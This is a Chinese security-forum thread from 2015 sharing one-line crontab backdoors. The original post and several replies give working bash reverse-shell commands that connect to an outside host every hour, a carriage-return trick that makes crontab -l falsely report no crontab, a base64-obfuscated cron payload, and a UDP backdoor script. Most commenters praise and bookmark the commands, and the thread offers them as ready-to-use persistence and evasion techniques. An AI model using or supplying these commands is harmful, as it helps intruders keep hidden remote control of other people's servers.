一条命令实现无文件兼容性强的反弹后门

猪猪侠 (A) | 2015-01-25 20:15

最好用一个不常见的用户执行,任务写入/var/spool/cron/$username

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

升级猥琐版,crontab -l 直接提示no crontab for $username

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

60分钟反连一次,在未连接状态启动反连任务的时候,进程和端口都无状态

-bash: connect: Connection refused
-bash: /dev/tcp/dns.wuyun.org/53: Connection refused
-bash: 9: Bad file descriptor
-bash: 9: Bad file descriptor

也就是说,你安装后,如果不连接成功,是很难被发现的。

[原文地址]

各种吐槽:

1#

wzt (瘦古龙) | | 2015-01-26 13:11

bash udp反弹后门:

#!/bin/bash
exec 9<> /dev/udp/localhost/8080
[ $? -eq 1 ] && exit
echo "connect ok" >&9

while :
do
  a=`dd bs=200 count=1 <&9 2>/dev/null`
  if echo "$a"|grep "exit"; then break; fi
  echo `$a` >&9
done

exec 9>&-
exec 9<&-

https://github.com/cloudsec/brootkit/blob/master/ubd.sh

2#

RAINMan | 2015-01-25 20:16

3#

TestRoot | 2015-01-25 20:16

好牛逼

4#

Coffee (高三加油~) | 2015-01-25 20:21

5#

Well (男神提枪逛青楼。) | 2015-01-25 20:29

微博中中看到了,赞一个

6#

李旭敏 ((҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉) | 2015-01-25 21:20

目测连接成功后,也是很难被发现的。

7#

刘海哥 (www.liuhg.com) | 2015-01-25 21:35

这么说猪猪侠有很多后门咯

8#

猪猪侠 (A) | 2015-01-25 22:06

更加隐藏的版本

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wooyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

9#

子非海绵宝宝 (呵呵) | 2015-01-25 22:10

好东西....

10#

greg.wu | 2015-01-25 22:14

好牛啊

11#

hkmm | 2015-01-25 22:22

屌屌屌

12#

Power | 2015-01-25 22:26

收藏..

13#

泳少 (此号被射!by U神) | 2015-01-25 22:31

猪哥终于分享多年的经验了

14#

redrain有节操 (快来和我滚床单) | 2015-01-25 22:52

@猪猪侠 这个隐藏版本确实学到了,湾湾orange吊吊的

15#

superbing (技术交流,乐在分享!) | 2015-01-25 23:01

/var/spool/cron/ 连个read 权限都没有

16#

superbing (技术交流,乐在分享!) | 2015-01-25 23:03

crontab 也没权限 。。。

17#

null (#) | 2015-01-25 23:17

@superbing @superbing 理想很丰满,现实很骨感。。。

18#

wefgod (求大牛指点) | 2015-01-26 09:05

太恐怖了!

19#

xsjswt | 2015-01-26 09:13

tty设置不对的话,第二条反而惹嫌疑

20#

流星warden (塵歸塵,土歸土,讓往生者安寧,讓在世者重獲解脫。) | 2015-01-26 09:23

想象是美好的,现实是残酷的。。

21#

黑吃黑 (粪土当年万户侯) | 2015-01-26 09:25

@猪猪侠 你在乌云那么叼,你领导知道吗?

22#

0x12 (帽子掉了|多逛,少说话。|小学生) | 2015-01-26 09:29

简单好用易懂

23#

Xeyes (无个性,不签名.) | 2015-01-26 09:45

收藏~~~~

24#

_Thorns | 2015-01-26 10:03

赞!

25#

wzt (瘦古龙) | 2015-01-26 11:22

exec 9<> /dev/tcp/localhost/8080&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile -i

这样tcp连接不成功, 就不会继续执行bash了, 不然每隔1小时系统里就会多出一个/bin/bash -i的进程。

另外还可以把反弹后门用base64加密,运行时解密:

*/1 * * * * a=`echo "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCAtLW5vcHJvZmlsZSAtaQ=="|base64 -d`;/bin/bash -c "$a";unset a

更多关于bash的渗透技巧请访问:https://github.com/cloudsec/brootkit

26#

过客 | 2015-01-26 11:32

@wzt 赞

27#

redrain有节操 (快来和我滚床单) | 2015-01-26 12:08

刚刚orange又教一招

printf "*/3 * * * * $CMD;\rno crontab for $USER%$((${#CMD}+10))c\n" | crontab -

28#

keke (秒杀各种装逼犯) | 2015-01-26 13:20

@Well 求头像番号

29#

Fireweed | 2015-01-26 13:24

mark

30#

RainShine (I'm your angel of music.) | 2015-01-26 13:29

mark.

31#

猪猪侠 (A) | 2015-01-26 13:50

@wzt 赏你一个乌云币。

32#

Well (男神提枪逛青楼。) | 2015-01-26 18:24

@keke 点感谢后,发你

33#

Zvall (safeKey team - 电击小子) | 2015-01-26 18:44

@wzt Nice Nice

34#

冰锋刺客 (往日不可追) | 2015-01-26 19:00

这个还是比较有用的,先记下...

35#

lnterface | 2015-01-26 23:16

先记录一下啊